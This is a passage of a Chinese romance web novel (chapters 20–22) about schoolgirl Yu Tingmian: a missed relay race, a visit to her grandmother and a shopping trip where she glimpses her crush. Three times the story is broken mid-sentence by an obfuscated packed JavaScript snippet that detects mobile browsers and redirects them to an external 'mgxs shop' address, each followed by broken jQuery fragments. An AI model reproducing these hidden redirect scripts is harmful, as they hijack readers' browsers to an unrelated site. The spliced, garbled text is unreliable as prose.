唐思雨原先并没有注意,听于听眠提起,她仔细看了一眼,确实如于听眠所说。 “确实啊,不太放心留她一个人在这里,但铅球和跳高那边也要后勤人员过去了……要不我们留一个人在这边看着她,另一个人去那边?”唐思雨提议道。 于听眠觉得可行:“可以,那我留下吧。” “好。” 于听眠留在女生身边,观察她的状态,看她除了脸上苍白一点外似乎没有其他不妥,再三询问,听她说没有其他不适后于听眠抽空去了趟厕所。 结果等她回来时就看见对方头朝下趴在了桌面上一动不动。 于听眠:“……” 她怔愣了一瞬,差点当场发出尖锐的爆鸣。 你不是说没有其他不适吗—— 于听眠一个箭步闪现过去,着急却又不敢用力地拍了拍对方的背,喊她的名字:“苏怡?苏怡同学你还好吗?” “嗯……”苏怡艰难抬起头,眯了眯冒着星星的两只眼睛看眼前的人:“你……好多星星……” 于听眠:“……” “行了你别说话了。”这种情况于听眠不敢擅自处理,反手抄起她让她挂在自己肩膀上:“我现在带你去医务室。” 苏怡没有折腾的力气,带着满眼的星星乖乖挂在于听眠身上跟她去了医务室。 苏怡走得慢,去医务室的路上花了不少时间,大家都聚集在操场,路上几乎不见人影,很是安静,反倒显得操场上的播报声清晰异常。 于听眠听见方楚悦用清亮的嗓音播报铅球项目正式结束,跳高项目进入决赛。 等跳高决赛结束,就是万众瞩目的男女混合四百米接力赛,期待已久的人将要上场。 能赶上吗? 于听眠抿了抿唇,脸上山水不显,与平常无异,心中的焦躁感却在不断攀升,手指蜷成拳不自觉地抠弄着掌心,牙齿不断咬着嘴唇,差点要把嘴唇咬掉一层皮。 医生还在给苏怡做检查,于听眠不可能把身体状况不佳的苏怡一个人扔在医务室,所以也只是默默着急一下并试图用心电感应呼唤唐思雨用相机录像。 退一万步来讲,就算真的赶不上现场版看回放也行啊—— 然而一切都是幻想。 唐思雨接收不到她的心电感应,校医的检查慢条斯理。 “没什么大问题,下次跑完步不要直接坐下或躺下,脑部供血不足容易两眼冒星,最好先慢慢走两步。”校医摘下听诊器挂在脖子上,“你先带她回去好好休息一下,要是后面还有不舒服的地方再过来找我。” “好的。” 苏怡在校医室的床上躺了一会儿已经清醒了不少,后知后觉有点太麻烦别人了,不太好意思地开口:“不好意思麻烦你了,那什么,我感觉我已经好多了,要不你先去忙吧,我可以自己回教室的。” “没关系,我先送你回去,照顾运动员本来就是后勤的职责,所以不用担心,没什么麻不麻烦的。” 于听眠不敢让她一个人回去,自己去上个厕所的功夫人就眼冒金星趴桌子上不动了,万一她一个人回去走到一半原地躺下了……于听眠睡着了半夜都要醒来给自己两巴掌。 好吧,她承认自己有点危机过剩了,但以防万一。 见人坚持,苏怡没再推拒,只是感激地向人道谢:“谢谢你。” 于听眠笑了笑:“不用谢。” 有人喜欢校运会的热闹,也会有人喜欢难得清净自由的空闲时间。于听眠带着苏怡回到教室时,看到里面零零散散落座着几个人,或是在埋头写题,又或是在翻阅课外书,更有甚者直接趴在桌面上补觉。 见有人在,于听眠放心了几分,她看着苏怡坐回座位,窗外的广播播报着男女混合四百米接力赛正式开始。 “那我先走了。”于听眠道。 苏怡点头:“好。” 于听眠转身,加快步伐朝教室门口走去,苏怡觉得她离开的身影莫名急切。 踏出教室门,于听眠的腿像是一瞬间上了弹簧,拉着扶手迈开步子三步并作两步就冲下了楼梯,也亏得这个点楼梯没人,不然她这个冲法能横扫一片无辜路人。 啊啊啊啊啊啊——死腿快跑啊要赶不上了啊啊啊啊啊啊—— 于听眠拿出体育测试跑八百米都没那么拼的劲儿在路上狂奔,内心的呐喊直逼世界名画,风灌进嘴里吹得她口干舌燥,呼吸紊乱不匀,嗓子眼疼得要冒烟,实在跑不动了就停下来走两步,然后幻想身后的同学都变成了丧尸在追自己逼自己继续跑。 问:你这辈子有为什么拼过命吗? 于听眠:谢邀,就现在。 虽然把祖国生机勃勃的花朵儿想象成丧尸是有点不太礼貌,但这个方法确实好用,于听眠决定下次还干。 有了丧尸大法的加持,于听眠的速度快了不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066653|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于,在她身体跨进操场大门的刹那,她看见了期待已久的少年——他像离弦的箭一般遥遥领先,划破跑道,越过终点红线。 意料之内的,他又是第一。 全场的加油声骤停了一瞬,下一秒,属于他的欢呼声如潮水般轰然炸开,震耳欲聋,气氛被推向沸腾的高点,升温着、蔓延着,尖叫声祝贺声,此起彼伏不绝于耳,热烈地似要掀了天。 于听眠站在门前,扶着门框剧烈喘息,她远远看着那个被人群簇拥的少年,看他笑着回应着四面八方的祝贺,阳光倾落在他身上,为他镀上一层明亮的光晕,明媚又耀眼。 “……哎呀……” 她忽然笑了,紧绷的身体泄了气,软软地靠在门框上,意味不明地轻叹一声。 那么一瞬间她觉得,喜欢上这样一个耀眼夺目的人,可能这辈子都很难忘了吧。 目送着谢惊洛的身影消失在自己的视线范围,于听眠深深吸了口气,调整了一下呼吸,朝大本营走去。 唐思雨找了她半天没找着人,这下见了人直接瞬移扑上去抓着人的肩膀使劲摇啊摇,声音激动得语无伦次,手脚并用同她比划:“我去我去!你去哪里了?!你知道刚刚有多精彩吗?!刚才那什么,我们班第二棒和第三棒交接的时候出了点意外,接力棒掉地上了,回头捡回来就落后人家一截了,我那时候都觉得我们班输了一半了!我心都凉了!” “然后然后——”唐思雨咽了口唾沫继续叽里呱啦:“然后谢惊洛是第四棒,他拿到接力棒瞬间就飞了出去,最后居然力挽狂澜追上对方,接下来持续发力竟然把第二甩开了一截,然后拿了第一啊啊啊啊啊啊啊——卧槽你知道我当时看得有多激动吗?!紧张死我了!卧槽好激动好激动——” “看得出来你很激动了。”于听眠后仰了一下,远离了唐思雨的魔音绕耳。 “可惜了。”于听眠笑了笑,语气有些遗憾,“没能看到。” 唐思雨要抓狂:“所以你去干嘛了?到处找不到你人影。” 于听眠解释:“苏怡身体不太舒服,我和她去医务室了。” 唐思雨冷静下来了:“这样啊,那没办法,太可惜了。” “是啊……不过也还好啦。” “嗯?”唐思雨没明白她的意思。 “嘿——听眠思雨——要不要来一起拍照——” 陈文俊提议在场的各位一起拍一张照,许云招呼她俩过去。 “没事。”于听眠笑拉她的手,“我们去拍照吧。” 她们去得晚,等她俩到达拍照地点时,他们差不多站好位置了。 不过于听眠没想到谢惊洛也在,他被人拉到了最中间,笑容有些无奈。 于听眠站在队形最边边,远远地看了他一眼。 被陈文俊在路上随手逮来的摄影师同学看上去很是专业地指挥着队形:“来来来,两边的同学都朝中间靠拢一点,不要出镜了,后面的同学站出来,要拍不到你人了。” “准备好了吗?三——二——一——” “耶——” 咔嚓! 闪光灯亮起,笑容定格在这一瞬。 她有了和谢惊洛的第一张合照。 20. 龙眼树 回家吃过晚饭,于听眠一头扎进了付向晓于新鹤的房间,直奔电脑打开Q.Q找到唐思雨。 [小鲤鱼:在吗在吗?] [小鲤鱼:不许说不在。] [思雨:在,怎么了?] [思雨:很好,现在不在了。] [小鲤鱼:嘤,我错了。] [思雨:认错态度尚可,说吧,觐见朕做什么?] 于听眠假装没看见她的自称,说了自己的目的。 [小鲤鱼:我想要我们这两天拍的照片,发一份给我呗,还有那个合照你有吗?有的话也给我发一份?] 班里带相机来的人不止唐思雨一个,合照就是用陈文俊的相机拍的,但她没有陈文俊的Q.Q,就问唐思雨有没有一起给她发一份。 [思雨:合照?] [思雨:我还没有问他要,我现在去问他,等会儿拿到了和我们拍的照片一起发给你。] [小鲤鱼:行,那我先去洗澡。] [思雨:okk~] 于听眠打开门,一眼就看见了倚在门框上双手抱胸瞅着自己的付向晓。 于听眠被她看得鸡皮疙瘩起来了:“怎么了?” 付向晓上下打量她:“实在不行我给你买台电脑吧,你天天这样走来走去我和你爸怪没隐私的。” 于听眠:“……” 隐私什么的以后再说,至少现在是顾及不了的,于听眠洗完澡擦着湿漉漉的头发又回到了电脑前。 唐思雨几分钟前发来了一堆照片,信息提示99+。 她回了个收到的表情包,开始翻看照片,一张张挑选收入空间相册。 [思雨:你洗完澡了?] [小鲤鱼:没呢,我洗到一半出来吹个头发再回去洗。] [思雨:……] [思雨:神经.jpg] [小鲤鱼:我都给你回信息了你问我这个问题?] [思雨:好吧也是。] [思雨:算了不说这个了,你国庆有什么安排吗?] [小鲤鱼:有啊,准备回奶奶家住几天。] [思雨:好吧,还想要是你没事的话要不要来我家玩玩。] [小鲤鱼:可惜了,下次有机会一定。] 2013年9月28日 天气:晴 很奇妙,今天同时收获了遗憾和满足。 思雨讲的过程听着就很精彩啊,她都激动的手脚并用和我比划了,可我还是慢了一步…… 天呐,我居然和谢惊洛一起拍照了哎—— 早知道就多跑跑步了,要是中途没歇那几下的话应该能赶上的…… 哇塞!这可是我和谢惊洛的第一张合照哎—— 还是觉得好可惜…… 不行,我明天就要去把照片打印出来—— 回南城那天天气不错,老太太早早出了大门立在门前等候,风吹起了她落在颊旁的银丝,岁月终是在她脸上留下了抹不去的痕迹,但仔细瞧着,却也能在眉眼间窥得一缕经年的风采。 轿车在门前停下,老人脸上不急不躁的神情展露出了慈祥的笑意,慢步上前迎接。 “奶奶——我回来了——” 于听眠刚一下车就摘下口罩飞奔上前给了老太太一个拥抱,只是抱上的瞬间,于听眠猛然惊觉,几个月不见,她挺了几十年的背脊又弯曲了几分。 鼻尖没由来地涌上一阵酸意,于听眠松了力道,没敢抱太用力。 “眠丫头回来了,让奶奶好好瞧瞧,又长高了些啊。”老太太拉着于听眠上上下下细细地看了个遍,眼里满是藏不住的慈爱。 于听眠压下心头的涩意,俏皮道:“我都十七了还长高呢,而且才几个月不见,长那么快得往天上窜去了。” “几个月可不短了。”老太太不太认同于听眠的说法,“十七岁怎么就不能长高了?十七岁都还没长大,还是个孩子呢。” 随后下车的于新鹤听了两人的对话笑了:“妈,眠眠她明年都要成年了,也就你还觉得她是小孩子。” 付向晓也笑道:“怎么都站在门口说话呢?进屋说吧,手里提了好些东西先找地方放下。” 进了屋,堂前还是熟悉的装扮,于听眠上次来是什么样这回还是什么样,一点儿没变,若非要找出些什么变化,那大概是墙上挂着的手撕日历又薄了几分。 老太太并非没有能看日期的手机,只是这日历撕了几十年,撕惯了,也就不改了,总归也是每日顺手的事。 于听眠注意到这日历上的日期是30号,还是昨天的日期。 老太太也瞧见了,笑言“忘了忘了”,走上前去,抬手将昨日撕下。 于听眠想到了什么,问:“姑姑姑父他们回来吗?” 老人家这辈子生育了一儿一女,都在结婚后搬了出去重组家庭,爷爷过世后,于新鹤和于新颜都曾提议过接老人家去那边照料,可老太太每次都拒绝了,问她为什么,她总说她在这块地儿扎了根,她没能守住爷爷,但还想守着这间屋子,她想着,万一爷爷哪天想回来看看了,看见空无一人的屋子,大概是要难过的。 老太太年轻时是个温婉贤淑的女子,知书达理,满腹诗书,从不信鬼神之说——可又偏偏在这件事上固执不已。 儿女们拗不过她,也就遂了老人家的愿,只每当逢年过节或是得了空就回来看看。 “回来。”老太太脸上笑意更甚,“都回来。” 老房子别的没有,唯独空房间管够,于听眠也有自己单独的一间房,房间窗户对着后院,站在窗前能看到后院中央挺立的龙眼树。 早过了龙眼的成熟季节,树上看不到一颗龙眼,甚至些许的叶片还有了发黄颓败之意。 在于听眠的记忆里,这棵龙眼树在她记事时就已经存在了,她不知道它活了多久,只是每当她认为它要寿终正寝时,它总能在第二年初焕发新春。 于听眠简单收拾了一下自己的物品,然后出了门,下到楼下,她依稀听见爸爸和奶奶在堂前讲话。 “妈,给你找的那个保洁大姐人还好吧?干活勤快吗?” “她人很好,不用担心,但我还是觉得没必要找保洁……” “那怎么行,你一个人做点什么都不方便,像做饭,清洁这些活,找个人来做还是好很多的……” 大人们讲话她插不上嘴,也不想打扰他们说事,就轻手轻脚地绕过他们,独自去了后院。 后院除了龙眼树外,角落的一小片区域还被改造成了菜园,种了不少蔬菜,长势喜人,看来是被照料得很好。 于听眠贴着墙边绕着后院走了一圈,最后停在了龙眼树下。 她抬头看去,正巧一阵清风拂过,吹动了她的发梢,也卷走了枝上的一片残叶,那叶片在风中打了几个圈,飘飘然在于听眠眼前落下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071733|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸手,接住了那片叶。 她倏然想起,爷爷还在世时,这后院里是热闹的。 爷爷性格开朗好热闹,每当龙眼成熟的季节到来,他总会张罗着叫上爸爸和姑父来将成熟的果实摘下,一根竹竿,中间劈条缝,将枝条卡进缝里,用力一扭,一串完整的龙眼就被摘了下来。这个方法效率高,用不了多久,就能收获好几袋果肉鲜甜饱满的龙眼。 摘下来的龙眼由妈妈和姑姑负责裁去多余的枝叶,她和表弟负责吃,奶奶则是搬张椅子坐在一旁,看着他们干活打闹,面上总是蕴着笑。 是的,奶奶的脸上常年带着笑意,唯独爷爷离世的那天,她哭哑了嗓子,此后很长的一段时间都没再见她笑过。 都说往事如烟,轻挥即散,可它又是散不尽的,总会在心底留下踪迹,触景即生,生之即忆,忆之即疼。 于听眠叹了口气,松了手,看着叶片滑落在地,混在了众多落叶里,再寻不出踪迹。 离开后院,于听眠手机响了起来。 [苏苏:到哪了到哪了到哪了???] [苏苏:为什么过了那么久都没有给我发消息?] [苏苏:嗷嗷嗷嗷嗷嗷嗷嗷我要闹了我要闹了我要闹了——] 于听眠看完信息:“……” 完了,光顾着伤春悲秋,忘了告诉这小祖宗她已经回到了。 [小鲤鱼:别闹。] [小鲤鱼:刚到一会儿。] [苏苏:好哇,你都到了有一会儿了才给我发信息,你是不是不爱我了?] 于听眠无奈笑笑,哄她: [小鲤鱼:爱的。] [苏苏:真的吗?] [小鲤鱼:真的。] [苏苏:那你亲我一口~] [小鲤鱼:忽然发现也不是很爱。] [苏苏:……] [苏苏:%¥#&%@$&&¥] 于听眠看不懂,但直觉骂的很脏,她觉得好笑,逗完了人开始不太走心地安抚: [小鲤鱼:开玩笑的。] [苏苏:哼!罚你明天陪我逛街去。] 这是在于听眠回来的前一晚就说好的。 [小鲤鱼:遵命。] 第二日一早,于听眠起了身,吃过早饭,老太太已再堂前沏好了茶。 这是老人家的爱好之一,年轻时就沏得一手好茶,一家子人都爱喝,尤其是爷爷,每每喝都赞不绝口,如今几十载光阴过去了仍然是宝刀未老。 “眠丫头快来。”老太太招呼着她过去,“温度正好,凉了就不好喝了。” 于听眠上前端起一杯,瞧见茶叶条索纤细,卷曲成螺,汤色嫩绿鲜亮,是不错的碧螺春。 她不识茶,但见老太太沏茶多了,也零零散散认得了几个种类。 于听眠喝了一口,茶水清香鲜醇,舌底生甘。 “好喝!”于听眠很是捧场。 老人家笑意吟吟,闻言又给她倒了一杯:“是好喝,只是这碧螺春性偏寒,喝多了也不好。” 她看了眼于听眠的穿着,问:“要出门玩吗?” 于听眠点头:“是啊,约了好友,也挺久没见了,刚好回来和她聚聚。” “找朋友玩玩挺好的。”老太太说着想去找钱包:“零花钱够用吗?我再给你点。” “哎哎哎——” 于听眠连忙阻止了她。 21. 你有点幽默了 “够了的,爸爸妈妈给的够用的,你留着下次再给我?” 于听眠哪好要她的钱,赶忙找了个借口搪塞过去。 她不要,老太太也没硬给,只说道:“没钱了一定要说,出门在外不能委屈了自己,要玩就玩得开心。” 于听眠笑应:“知道啦。” “什么时候出门呢?” “没那么快呢。”于听眠看了下时间,现在八点,她们约了十点,“还要等一会儿。” 于新鹤和付向晓出门采购今晚的食材,于听眠就陪着老太太喝茶聊天,聊着聊着,门外传来了汽车由远及近的声音,最后在门口刹了车。 “嗯?爸爸妈妈他们这么快就回来了?这不是才刚走了一会儿?”于听眠眼神惊讶疑惑,怀疑他们偷偷背着自己学了瞬移。 老太太被她的表情逗笑:“应该是你姑姑姑父他们回来了” 说着就起身要去接人,边往大门走还边嘀咕:“这两人也是,说了十点多到早了那么多,也不提早打个电话我好去接人……” 于听眠连忙跟上她同她一起朝大门走去。 门外,姑姑姑父还有小她三岁的小表弟正将车上的东西往外搬。 于听眠打了招呼,视线落在了她这个小表弟徐知乐身上,发现一段时间不见,他又窜高了不少。 十四五岁正是发育的年纪,如今他的个头已隐隐有了同她齐高的架势,再过两年恐怕就要高出她不少。 现在的孩子都是吃什么长大的?一个比一个高,明明两年前还是个小萝卜头,稍不注意就长那么大了。 于听眠摇头唏嘘,她觉得自己不算矮了,但这么一比好像又差了点意思。 算了,再差意思也长不了多少了。 “姐。”大萝卜头乖乖叫人,看上去听话又老实。 两家人孩子少,两人各自都是独生子女,自小又玩在一块儿,不是亲姐弟又胜似亲姐弟,连称呼都省去了“表”字,直接喊姐。 别人或许不知晓内情,但作为当事人,于听眠比谁都清楚眼前的大萝卜头曾一度叛逆妄图直呼她大名,最后打了一架没打过她才乖乖喊姐。 还好当时大家都还小,于听眠还能用身高镇压他,要不然等他长现在那么大就不一定能打过了。 于听眠默默想着。 姑姑姑父带来的东西不少,有些还要放进冰箱,于听眠帮忙拿了一些东西去放冰箱,等她来到冰箱前,却发现自己两手抱着东西没手开冰箱门了。 外边的人能供她使唤的也只有一个。 “乐乐——” 她扯着嗓子朝外喊。 “干嘛——” 人也扯着嗓子回她。 “过来——” “等一下——” 等人过来的时间,于听眠抱着东西的手有点酸,然后就顺手把东西放到了一旁的桌子上。 “……” 不对。 于听眠看着自己空空的两手,意识到了问题的不对劲。 耳边传来了急切的脚步声,于听眠一看,徐知乐已经到了门口。 于听眠:“……” 徐知乐不解:“怎么了姐?叫我做什么?” “……”于听眠面无表情地看了一眼冰箱:“帮我把冰箱门打开。” 徐知乐看着两手空空的她,怀疑自己听错了:“……什么?” 于听眠面无表情地重复:“帮我把冰箱门打开。” 徐知乐:“……姐你有点幽默了。” 于听眠:“别管。” 但是来都来了,徐知乐还是打开了冰箱门,于听眠就顶着他一副“你在拿我消遣”的怨念眼神把东西放进了冰箱。 关上冰箱门后,于听眠看着立在门边不走的徐知乐,莫名其妙:“你站在这里做什么?离过年还早不需要门神。” 徐知乐装作没听见她刻薄的话语,嘿嘿笑,明显不怀好意:“姐,你等会儿是不是要出门?” “嗯。”于听眠眉梢轻挑,“所以?” 徐知乐:“带我一个呗?” “……”于听眠皱眉,“我和朋友一起去玩带你一个算怎么回事?你要帮我们提东西?” 徐知乐震惊,手指颤抖地指着于听眠,瞳孔地震:“使唤一个初二的小朋友帮你们提东西你怎么好意思的?” “都初二了还说自己是小朋友你又怎么好意思的?”于听眠拍开他的手,“说不出理由我就走了啊。” “别啊!”徐知乐连忙拦住她,一副可怜兮兮的模样,“你就带我去呗,我上次考试考差了,等会儿我妈和外婆聊天的时候肯定要拿这件事开涮,我现在不溜等下就跑不掉了!我保证不打扰你们,你只需要把我一起带出去就行,我会自己找地方待着的!” 在徐知乐的软磨硬泡下于听眠还是妥协了,不过出门前她还是和姑父说了一声,免得真要找人的时候翻遍了屋子都没一个人知道他去哪儿了,并再三叮嘱他不能到处乱跑,到点了就在约定好的地方集合。 徐知乐拍拍胸口:“知道了——我办事你就放心吧!” 于听眠:“……” 看着真不像能放心的样子。 十月初的风带着一丝凉意,似在宣告盛夏的余热即将散去,风卷走了地上的落叶,也卷走了一个夏天。 两人约好了在公交站前汇合,于听眠先一步到达,四下搜寻人影无果,便打发了徐知乐自己去玩,她则坐在公交站前的长椅上静候有缘人的到来。 不多时,又一辆公交车在面前停下。 她看到了一抹倩影混在了下车的乘客里——有缘人来了。 “眠眠——我踏马想死你了——”苏然刚站回地上就原地起跳往于听眠身上扑,然后在于听眠接住她的同时发现了一个奇奇怪怪的点:“咦?你这次怎么戴的是黑色口罩?你之前不是都用蓝色的吗?” 于听眠:“……” 不是姐们,那么久没见你就只顾着关注我的口罩去了? 她总不能说是因为上次用了谢惊洛给的黑色口罩后她就改用黑色口罩了吧? 虽然她做贼心虚心里有鬼没敢光明正大在谢惊洛面前戴…… “咳咳。”于听眠清咳两声,一副高深莫测的神情:“这里面涉及到一些不可言说之事,所以请不要在意这些细节,好吗?” 苏然被她唬得一愣一愣的:“啊?” 以防她继续提起这个话题,于听眠把她拉到一旁,神秘兮兮地朝着她晃了晃背包:“你猜我给你带什么了?” 苏然被吸引了注意力:“什么?” 于听眠从书包里掏出一个课本大小的相框递过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077311|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她。 苏然接过相框,赫然发现上面是一张手绘的,她最喜欢的一部动漫的全家福!! “啊啊啊啊啊啊啊啊啊——” 苏然当场发出尖叫,激动得似要原地蹦起三尺高,引得路人纷纷侧目。 于听眠连忙拽住蠢蠢欲跳的人:“冷静点冷静点,我知道你很激动但你先别激动,有人看着呢!” “哦哦!”闻言,苏然稍微克制了一下自己的行为,但语速还是抑制不住变快了起来:“卧槽卧槽卧槽你居然真的画了!!这可是我最喜欢的动漫啊——这么多人你画了多久?啊啊啊啊啊啊啊我太爱你了宝——” “好啦好啦。”于听眠很高兴好友能喜欢这份礼物,但她面上还是淡定自若的模样,“也没画多久,你喜欢就行。” 高中学业繁忙,于听眠并没有太多空余的时间,加上这是给好友的礼物,在其中多花了几分心思,精细度又高了好几个度,林林总总算下来竟然是差不多用了一个月才完成了这幅画。不过于听眠挺享受画画这一过程,这一轮下来倒也没有觉得多费事。 此时的苏然早已将口罩的事抛到了天涯海角不知道的哪个角落,抱着相框认真细致地研究了一番,末了,她将相框塞进了自己的包里,动作极其小心翼翼仿佛手里拿的不是一副画而是刚出土的文物,生怕磕着碰着了。 于听眠:“……” 真的不必。 苏然很是满意地把包包背回肩上,伸手揽着于听眠的肩:“不错不错,爱卿这事儿办得好,今日的午食朕定不会亏待了你。” 这是要包了她的午饭的意思。 于听眠笑笑,陪她演:“谢主隆恩——” 离午餐时间还早,两人便沿着街道开始了今天的流程——其实并没有流程,就是到处走走,看到好看的就去看看,看到好吃的就买点来尝尝,看到好玩的就上前研究一下,想到什么就去做什么,没有先定的计划,单纯享受和好友一同走走逛逛的这个过程。 倒也是乐此不疲。 精品店向来是她俩出门的必行之地,这次也毫不意外。 苏然喜欢各式各样的小礼品,站在那一排排展览台前能研究很久。于听眠倒是对这些没那么热衷,只看了一小会儿就离开了,去了其他区域转转。 路过发饰区时,她在发簪的那一片区域停下了脚步。 面前的发簪款式众多,金簪华丽高贵,玉簪晶莹剔透,木簪简约雅致。 她倏然想起,爷爷还在世时,奶奶是喜欢戴发簪的。 那是一个晓雾蒙蒙的清晨,尚且年幼的她站在房门口,看见奶奶面含笑意地坐在梳妆台前,爷爷在她身后为她梳头,将头发梳顺了,就拿起桌面上的发簪,将头发一挽,带好发簪,头发就掉不下来了。 年幼的她不懂其中的道理,只觉得神奇,问奶奶为什么不扎橡皮筋头发也不会掉,问她这是不是魔法,爷爷是不是魔法师。 两人听了于听眠的童言童语多半会笑笑,然后抱她在膝上,拿起另一根簪子给她也挽了个发,说也给她变了个魔法。 这时于听眠就会高兴地找家里的所有人告诉他们爷爷奶奶都是魔法师,自己的头发被施了魔法,也没人拆穿她,附和着说好厉害好神奇,然后她就顶着魔法转悠一整天。 当时只道是寻常。 22. 红的白的混在一起喝 于听眠挑了支尾端雕琢着莲花的玉簪,苏然见了好奇:“咦?你这是要戴发簪吗?什么时候喜欢上的?以前好像没见你带过,不过你这头长发戴发簪肯定好看。” “不是我戴的。”于听眠解释:“这是给我奶奶买的。” “哦?这样啊。”苏然改口:“那你奶奶戴一定好看。” 于听眠被她逗笑。 两人在店里逛了不少时间,出门时也是提着大包小包的,不过属于于听眠的东西只有那支玉簪,其他的全是苏然的东西,发饰小礼物明信片海报什么的买了一大堆,自己提不完了还塞了一半让于听眠也帮忙提。 东西不重,但提着走路总觉得多了什么负担。 于听眠掂了掂手里的东西,忽然后悔没留下徐知乐帮忙拿东西。 临近饭点,两人思来想去纠结许久最后石头剪刀布决定了去吃火锅。 火锅店里的人不少,一眼看过去已经没多少空位了,她们在服务员的带领下坐在了角落的一个双人座位上。 位置有点偏僻,但好在可以透过窗户看街道上的人来人往。 “要什么锅底?”苏然看着菜单问。 “随便,我都行。”于听眠什么都吃。 苏然瞪了她一眼:“什么随便?不许说随便,你这说了跟没说有什么区别?随便才是最难搞的!你今天必须说一个出来。” “那好吧。”于听眠随她,“番茄锅底吧。” “行。”苏然愉快地勾选了番茄锅底。 等上菜的过程中,苏然去了一趟洗手间,于听眠就在座位上等菜也等她,等得有些无聊,就看看外边的风景解闷。 火锅店在二楼,外边是一条宽大的马路,马路对面是一家装修低调奢华却又古典雅致的茶楼。 于听眠听说过这家茶楼,里头的茶点远近闻名,是众人皆知的好吃。 当然,那茶点的价格也是相当美丽动人。 于听眠闲得没事,就看着茶楼的客人在古香古色的大门进进出出,看着又一辆黑色轿车从远处驶来,停在了楼前。 轿车后门被推开,一个身形高挑的男生率先下了车,动作干脆利落,远远看着背影还觉得有些熟悉。 于听眠不甚在意,浅浅扫过一眼。 …… 不对。 她猛然拉回视线,直起身子,蹙眉,面上满是诧异地盯着那身影认真确认,若是说单看背影还有一丝的不确定,那等男生侧过身子露出半张面容时,于听眠心底的最后一点不确定也随之消散了。 还真是谢惊洛。 “呼……我就说嘛……” 于听眠刚坐直没一会儿的身子又摊回了椅子靠背上,脸上尽是释然的笑。 她就说嘛,她怎么会认错谢惊洛的身影,只是没想过谢惊洛会出现在这里的可能性,一时没反应过来,天天盯着人家的背影看哪能那么容易认错。 不过话又说回来了—— 谢惊洛怎么会出现在这里? 于听眠仔细地回想,确定自己现在确实是在南城。 不等她想出个所以然,她便看到了车上走下来个盘着银丝的老人家,谢惊洛伸手虚扶着她,等她下来后又帮其关上了车门,一同朝着着茶楼的大门走去。 那老人家虽是满头银丝,步伐却是稳健从容的,一举一动间皆有着说不清道不明的优雅,而谢惊洛走在她身旁,正偏过头和她说着些什么。 这是谢惊洛的家人吗? 和平日里不敢正眼看他的视线不同,她现在的目光可谓是毫不收敛,仗着自己地理位置偏僻肆无忌惮盯着人家瞧。却不曾料到谢惊洛在即将进门时猝不及防地回了头,恰恰正对着她这个方向。 于听眠:!!! 她乍然一惊,脑子里空白了一瞬,待回过神来后立刻低下了头,行为像极了把头埋进地里此地无银三百两的鸵鸟。 她无比庆幸这个位置足够偏,墙也足够高,只要她把头一低就能完完全全地挡住她。 茶楼前,老人家看着谢惊洛的动作有些不解,她轻拍他的手臂,问道:“小洛,你在看什么?” “……” 谢惊洛默了默,随即收回视线,轻笑道:“没什么,奶奶您的包忘记拿了。” 于听眠装了一会儿的鸵鸟,装着装着又忍不住去想现在怎么样了?谢惊洛进去了吗?到底有没有发现她呢? 内心经历了一番挣扎后,她决定抬头偷偷看一眼。 她悄悄探出半个脑袋,看见了司机从车上下来,手里拿着个米白色的包包,走到谢惊洛面前递给他,谢惊洛将其接过,帮忙挂在了老人家的臂弯上。 原来回头是要拿包包。 于听眠松了口气,觉得自己实在是多虑了,居然觉得是谢惊洛发现了自己,她明明偷看得那么隐秘怎么会被发现? …… 真的没发现吗? 意识到这个事实,于听眠心口不一地感到一阵莫名的失落。她觉得自己矛盾极了,嘴上说着千万不要发现她,但真没发现又不乐意了。 真是难伺候。 她暗暗唾弃自己。 苏然回来就瞅见她一副愁云惨淡的模样,脚步顿了顿,想破了脑袋也想不出来她离开的短短几分钟里发生了什么天大的事能把她的好友搞成这样。 “怎么了?我离开的几分钟里发生了什么天要塌了的事吗?” 于听眠托着腮掀起眼皮瞄了她一眼,事情的起末她还没想好要不要和对方讲,于是沉默了一番开始胡言乱语答非所问:“你有试过红的白的混在一起喝的感受吗?” 苏然:“……” 虽然不知道她抽哪门子的风,但这红的白的肯定不是指红酒和白酒。 苏然略一思付,道:“没试过,旺仔和娃哈哈混在一起喝大概要窜。” 于听眠:“……” 两人对视一眼,下一秒都没绷住,笑了。 “有病啊?”苏然一边笑一边骂:“我就走了一会儿回来你就多愁善感了,还红的白的混在一起喝,喝过吗你就说。” “别说哦。”于听眠眨眨眼,回忆了一番:“我还真试过,颜色挺正常的。” “呵”苏然冷哼:“味道你是只字不提。” “嘘。”于听眠食指立在唇前,比了个禁声的手势:“不要在意这些细节,我忽略它一定是有我的道理的。” “……” 